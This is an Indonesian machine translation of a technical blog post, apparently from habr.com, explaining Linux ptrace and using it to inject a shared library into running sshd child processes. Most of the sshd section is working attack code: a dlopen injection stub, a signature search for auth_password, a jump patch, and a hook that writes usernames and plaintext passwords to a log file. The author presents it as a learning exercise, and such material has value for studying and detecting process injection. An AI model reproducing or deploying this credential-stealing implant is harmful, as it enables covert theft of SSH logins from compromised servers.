Pengantar ptrace atau injeksi kode dalam sshd untuk bersenang-senang



Tujuan yang saya tetapkan sangat sederhana: untuk mempelajari kata sandi yang dimasukkan ke sshd menggunakan ptrace. Tentu saja, ini adalah tugas yang agak artifisial, karena ada banyak cara lain, lebih efektif, untuk mencapai apa yang Anda inginkan (dan dengan probabilitas yang jauh lebih rendah untuk mendapatkan SEGV ), namun, sepertinya keren bagi saya untuk melakukan hal itu.

Apa itu ptrace?


Mereka yang akrab dengan suntikan Windows mungkin akan tahu fungsi-fungsi VirtualAllocEx() , WriteProcessMemory() , ReadProcessMemory() dan CreateRemoteThread() . Panggilan ini memungkinkan Anda untuk mengalokasikan memori dan memulai utas dalam proses lain. Di dunia linux, kernel memberi kita ptrace , terima kasih kepada para debugger yang dapat berinteraksi dengan proses yang sedang berjalan.

Ptrace menawarkan beberapa operasi debug yang berguna, misalnya:

  • PTRACE_ATTACH - memungkinkan Anda untuk bergabung dengan satu proses dengan menjeda proses yang di-debug
  • PTRACE_PEEKTEXT - memungkinkan Anda membaca data dari ruang alamat proses lain
  • PTRACE_POKETEXT - memungkinkan Anda untuk menulis data ke ruang alamat proses lain
  • PTRACE_GETREGS - Membaca status register proses saat ini
  • PTRACE_SETREGS - mencatat status register proses
  • PTRACE_CONT - melanjutkan eksekusi dari proses yang di-debug

Meskipun ini bukan daftar lengkap fitur ptrace, namun, saya mengalami kesulitan karena kurangnya fungsi yang saya kenal dari Win32. Misalnya, pada Windows, Anda dapat mengalokasikan memori dalam proses lain menggunakan fungsi VirtualAllocEx() , yang mengembalikan pointer ke memori yang baru dialokasikan. Karena ini tidak ada di ptrace, Anda harus berimprovisasi jika Anda ingin menanamkan kode Anda dalam proses lain.

Kalau begitu, mari kita pikirkan tentang bagaimana mengendalikan proses menggunakan ptrace.

Dasar-dasar ptrace


Hal pertama yang harus kita lakukan adalah bergabung dengan proses yang menarik bagi kita. Untuk melakukan ini, panggil saja ptrace dengan parameter PTRACE_ATTACH:

 ptrace(PTRACE_ATTACH, pid, NULL, NULL); 

Panggilan ini sederhana sebagai kemacetan lalu lintas, ia menerima PID dari proses yang ingin Anda ikuti. Ketika panggilan terjadi, sinyal SIGSTOP dikirim, yang memaksa proses menarik dihentikan.

Setelah bergabung, ada alasan untuk menyimpan status semua register sebelum kita mulai mengubah sesuatu. Ini akan memungkinkan kami untuk mengembalikan program nanti:

 struct user_regs_struct oldregs; ptrace(PTRACE_GETREGS, pid, NULL, &oldregs); 

Selanjutnya, Anda perlu menemukan tempat di mana kami dapat menulis kode kami. Cara termudah adalah mengekstraksi informasi dari file peta, yang dapat ditemukan di procfs untuk setiap proses. Misalnya, "/ proc / PID / maps" pada proses sshd yang berjalan di Ubuntu terlihat seperti ini:



Kita perlu menemukan area memori yang dialokasikan dengan hak untuk mengeksekusi (kemungkinan besar "r-xp"). Segera setelah kami menemukan area yang sesuai dengan kami, dengan analogi dengan register, kami menyimpan konten, sehingga nanti kami dapat mengembalikan pekerjaan dengan benar:

 ptrace(PTRACE_PEEKTEXT, pid, addr, NULL); 

Dengan menggunakan ptrace, Anda dapat membaca satu kata data mesin (32 bit pada x86 atau 64 bit pada x86_64) di alamat yang ditentukan, yaitu, untuk membaca lebih banyak data, Anda perlu melakukan beberapa panggilan, menambah alamat.

Catatan: di linux, ada juga process_vm_readv () dan process_vm_writev () untuk bekerja dengan ruang alamat dari proses lain. Namun, dalam artikel ini saya akan tetap menggunakan ptrace. Jika Anda ingin melakukan sesuatu yang berbeda, lebih baik membaca tentang fungsi-fungsi ini.

Sekarang kita telah mencadangkan area memori yang kita suka, kita dapat mulai menimpa:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

Seperti PTRACE_PEEKTEXT, panggilan ini hanya dapat merekam satu kata mesin pada satu waktu di alamat yang ditentukan. Juga, menulis lebih dari satu kata mesin akan membutuhkan banyak panggilan.

Setelah memuat kode Anda, Anda perlu mentransfer kontrol untuk itu. Agar tidak menimpa data dalam memori (misalnya, tumpukan), kami akan menggunakan register yang disimpan sebelumnya:

 struct user_regs_struct r; memcpy(&r, &oldregs, sizeof(struct user_regs_struct)); // Update RIP to point to our injected code regs.rip = addr_of_injected_code; ptrace(PTRACE_SETREGS, pid, NULL, &r); 

Akhirnya, kami dapat melanjutkan eksekusi dengan PTRACE_CONT:

 ptrace(PTRACE_CONT, pid, NULL, NULL); 

Tetapi bagaimana kita tahu bahwa kode kita sudah selesai dieksekusi? Kami akan menggunakan interupsi perangkat lunak, juga dikenal sebagai instruksi "int 0x03" yang menghasilkan SIGTRAP. Kami akan menunggu ini dengan waitpid ():

 waitpid(pid, &status, WUNTRACED); 

waitpid () - panggilan pemblokiran yang akan menunggu proses untuk berhenti dengan pengidentifikasi PID dan menulis alasan untuk berhenti ke variabel status. Di sini, ngomong-ngomong, ada banyak makro yang membuat hidup lebih mudah dalam menemukan alasan untuk berhenti.

Untuk mengetahui apakah ada penghentian karena SIGTRAP (karena memanggil int 0x03), kita dapat melakukan ini:

 waitpid(pid, &status, WUNTRACED); if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP received\n"); } 

Pada titik ini, kode tertanam kami telah dieksekusi dan yang perlu kita lakukan hanyalah mengembalikan proses ke keadaan semula. Pulihkan semua register:

 ptrace(PTRACE_SETREGS, pid, NULL, &origregs); 

Kemudian kami akan mengembalikan data asli dalam memori:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

Dan putuskan sambungan dari proses:

 ptrace(PTRACE_DETACH, pid, NULL, NULL); 

Itu teori yang cukup. Mari kita beralih ke bagian yang lebih menarik.

Sshd injeksi


Saya harus memperingatkan bahwa ada kemungkinan menjatuhkan sshd, jadi berhati-hatilah dan jangan mencoba untuk memeriksa ini pada sistem kerja dan terutama pada sistem jarak jauh melalui SSH: D

Selain itu, ada beberapa cara yang lebih baik untuk mencapai hasil yang sama, saya menunjukkan ini hanya sebagai cara yang menyenangkan untuk menunjukkan kekuatan ptrace (setuju bahwa ini lebih baik daripada menyuntikkan ke Hello World;)

Satu-satunya hal yang ingin saya lakukan adalah mendapatkan kombinasi login-password dari menjalankan sshd ketika pengguna diautentikasi. Saat melihat kode sumber, kita dapat melihat sesuatu seperti ini:

auth-passwd.c

 /* * Tries to authenticate the user using password. Returns true if * authentication succeeds. */ int auth_password(Authctxt *authctxt, const char *password) { ... } 

Sepertinya tempat yang tepat untuk mencoba menghapus nama pengguna / kata sandi yang dikirimkan oleh pengguna dalam bentuk teks.

Kami ingin menemukan tanda tangan fungsi yang memungkinkan kami menemukan [fungsinya] di memori. Saya menggunakan utilitas pembongkaran favorit saya, radare2:



Penting untuk menemukan urutan byte yang unik dan hanya terjadi pada fungsi auth_password. Untuk melakukan ini, kami akan menggunakan pencarian di radare2:



Kebetulan urutan xor rdx, rdx; cmp rax, 0x400 xor rdx, rdx; cmp rax, 0x400 sesuai dengan persyaratan kami dan hanya ditemukan sekali di seluruh file ELF.

Sebagai catatan ... Jika Anda tidak memiliki urutan ini, pastikan bahwa Anda memiliki versi terbaru, yang juga menutup kerentanan pertengahan 2016. (Dalam versi 7.6, urutan ini juga unik - sekitar Per.)

Langkah selanjutnya adalah injeksi kode.

Unduh .so ke sshd


Untuk memuat kode kami ke sshd, kami akan membuat rintisan kecil yang memungkinkan kami memanggil dlopen () dan memuat pustaka dinamis yang sudah menerapkan substitusi "auth_password".

dlopen () adalah panggilan untuk penautan dinamis, yang mengambil jalur ke perpustakaan dinamis dalam argumen dan memuatnya ke ruang alamat dari proses panggilan. Fungsi ini terletak di libdl.so, yang secara dinamis menghubungkan ke aplikasi.

Untungnya, dalam kasus kami, libdl.so sudah dimuat ke sshd, jadi kami hanya perlu menjalankan dlopen (). Namun, karena ASLR, sangat kecil kemungkinan dlopen () akan berada di tempat yang sama setiap waktu, jadi Anda harus menemukan alamatnya dalam memori sshd.

Untuk menemukan alamat fungsi, Anda perlu menghitung offset - perbedaan antara alamat fungsi dlopen () dan alamat awal libdl.so:

 unsigned long long libdlAddr, dlopenAddr; libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY); dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen"); printf("Offset: %llx\n", dlopenAddr - libdlAddr); 

Sekarang kita telah menghitung offset, kita perlu menemukan alamat awal libdl.so dari file maps:



Mengetahui alamat dasar libdl.so di sshd (0x7f0490a0d000, sebagai berikut dari tangkapan layar di atas), kita dapat menambahkan offset dan mendapatkan alamat dlopen () untuk menelepon dari kode injeksi.

Kami akan melewati semua alamat yang diperlukan melalui register menggunakan PTRACE_SETREGS.

Kita juga perlu menulis path ke pustaka yang diimplan ke dalam ruang alamat sshd, misalnya:

 void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memory\n"); exit(1); } } } ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16) 

Dengan melakukan sebanyak mungkin selama persiapan injeksi dan memuat pointer ke argumen langsung ke register, kita dapat membuat kode injeksi lebih mudah. Sebagai contoh:

 // Update RIP to point to our code, which will be just after // our injected library name string regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN; // Update RAX to point to dlopen() regs.rax = (unsigned long long)dlopenAddr; // Update RDI to point to our library name string regs.rdi = (unsigned long long)freeaddr; // Set RSI as RTLD_LAZY for the dlopen call regs.rsi = 2; // RTLD_LAZY // Update the target process registers ptrace(PTRACE_SETREGS, pid, NULL, &regs); 

Artinya, injeksi kode cukup sederhana:

 ; RSI set as value '2' (RTLD_LAZY) ; RDI set as char* to shared library path ; RAX contains the address of dlopen call rax int 0x03 

Saatnya membuat perpustakaan dinamis kami, yang akan dimuat dengan kode injeksi.

Sebelum kita melanjutkan, pertimbangkan satu hal penting yang akan digunakan ... Konstruktor perpustakaan dinamis.

Konstruktor dalam perpustakaan dinamis


Perpustakaan dinamis dapat mengeksekusi kode saat memuat. Untuk melakukan ini, tandai fungsi dengan decoder "__attribute __ ((constructor))". Sebagai contoh:

 #include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()\n"); } 

Anda dapat menyalin menggunakan perintah sederhana:

 gcc -o test.so --shared -fPIC test.c 

Dan kemudian periksa kinerjanya:

 dlopen("./test.so", RTLD_LAZY); 

Ketika perpustakaan memuat, konstruktor juga akan dipanggil:



Kami juga menggunakan fungsi ini untuk membuat hidup kita lebih mudah ketika menyuntikkan kode ke ruang alamat dari proses lain.

Sshd dynamic library


Sekarang kita memiliki kesempatan untuk memuat pustaka dinamis kita, kita perlu membuat kode yang akan mengubah perilaku auth_password () saat runtime.

Ketika pustaka dinamis kita dimuat, kita dapat menemukan alamat awal sshd menggunakan file "/ proc / self / maps" di procfs. Kami mencari area dengan izin "rx" di mana kami akan mencari urutan unik di auth_password ():

 d = fopen("/proc/self/maps", "r"); while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "rx")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; } } 

Karena kami memiliki berbagai alamat untuk dicari, kami mencari fungsi:

 const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00"; while(ptr < end) { // ptr[0] == search[0] added to increase performance during searching // no point calling memcmp if the first byte doesn't match our signature. if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) { break; } ptr++; } 

Ketika kami menemukan kecocokan, Anda harus menggunakan mprotect () untuk mengubah izin di area memori. Ini semua karena area memori dapat dibaca dan dieksekusi, dan izin menulis diperlukan untuk perubahan saat bepergian:

 mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC) 

Nah, kami memiliki hak untuk menulis ke area memori yang diinginkan dan sekarang saatnya untuk menambahkan loncatan kecil di awal fungsi auth_password, yang akan memberikan kontrol ke hook:

 char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0"; 

Ini sama dengan kode ini:

 mov rax, 0x4142434445464748 jmp rax 

Tentu saja, alamat 0x4142434445464748 tidak cocok untuk kami dan akan diganti dengan alamat hook kami:

 *(unsigned long long *)((char*)jmphook+2) = &passwd_hook; 

Sekarang kita bisa memasukkan loncatan kita ke sshd. Untuk membuat injeksi indah dan bersih, masukkan loncatan di awal fungsi:

 // Step back to the start of the function, which is 32 bytes // before our signature ptr -= 32; memcpy(ptr, jmphook, sizeof(jmphook)); 

Sekarang kita harus mengimplementasikan hook yang akan menangani logging data yang lewat. Kami harus yakin bahwa kami telah menyimpan semua register sebelum dimulainya hook dan dikembalikan sebelum kembali ke kode asli:

Kode sumber kait
 // Remember the prolog: push rbp; mov rbp, rsp; // that takes place when entering this function void passwd_hook(void *arg1, char *password) { // We want to store our registers for later asm("push %rsi\n" "push %rdi\n" "push %rax\n" "push %rbx\n" "push %rcx\n" "push %rdx\n" "push %r8\n" "push %r9\n" "push %r10\n" "push %r11\n" "push %r12\n" "push %rbp\n" "push %rsp\n" ); // Our code here, is used to store the username and password char buffer[1024]; int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND); // Note: The magic offset of "arg1 + 32" contains a pointer to // the username from the passed argument. snprintf(buffer, sizeof(buffer), "Password entered: [%s] %s\n", *(void **)(arg1 + 32), password); write(log, buffer, strlen(buffer)); close(log); asm("pop %rsp\n" "pop %rbp\n" "pop %r12\n" "pop %r11\n" "pop %r10\n" "pop %r9\n" "pop %r8\n" "pop %rdx\n" "pop %rcx\n" "pop %rbx\n" "pop %rax\n" "pop %rdi\n" "pop %rsi\n" ); // Recover from the function prologue asm("mov %rbp, %rsp\n" "pop %rbp\n" ); ... 


Yah, itu saja ... dengan cara ...

Sayangnya, setelah semua yang telah dilakukan, ini belum semuanya. Bahkan jika injeksi kode sshd gagal, Anda mungkin memperhatikan bahwa kata sandi pengguna yang Anda cari masih belum tersedia. Ini disebabkan oleh fakta bahwa sshd untuk setiap koneksi menciptakan anak baru. Adalah anak baru yang memproses koneksi dan di dalam dia kitalah yang harus mengatur.

Untuk memastikan bahwa kami bekerja dengan anak-anak sshd, saya memutuskan untuk memindai procfs untuk file statistik yang menentukan Parent PID sshd. Segera setelah proses tersebut ditemukan, injektor mulai untuknya.

Bahkan ada keuntungannya. Jika semuanya berjalan salah dan injeksi kode turun dari SIGSEGV, hanya proses satu pengguna yang akan dimatikan, dan bukan proses sshd induk. Bukan penghiburan terbesar, tapi itu jelas membuat proses debug lebih mudah.

Injeksi dalam aksi


Ok, mari kita lihat demo:



Kode lengkap dapat ditemukan di sini .

Saya berharap perjalanan ini telah memberi Anda informasi yang cukup untuk menyodok ptrace sendiri.

Saya ingin berterima kasih kepada orang-orang dan situs berikut yang membantu menangani ptrace:

Source: https://habr.com/ru/post/id430302/


All Articles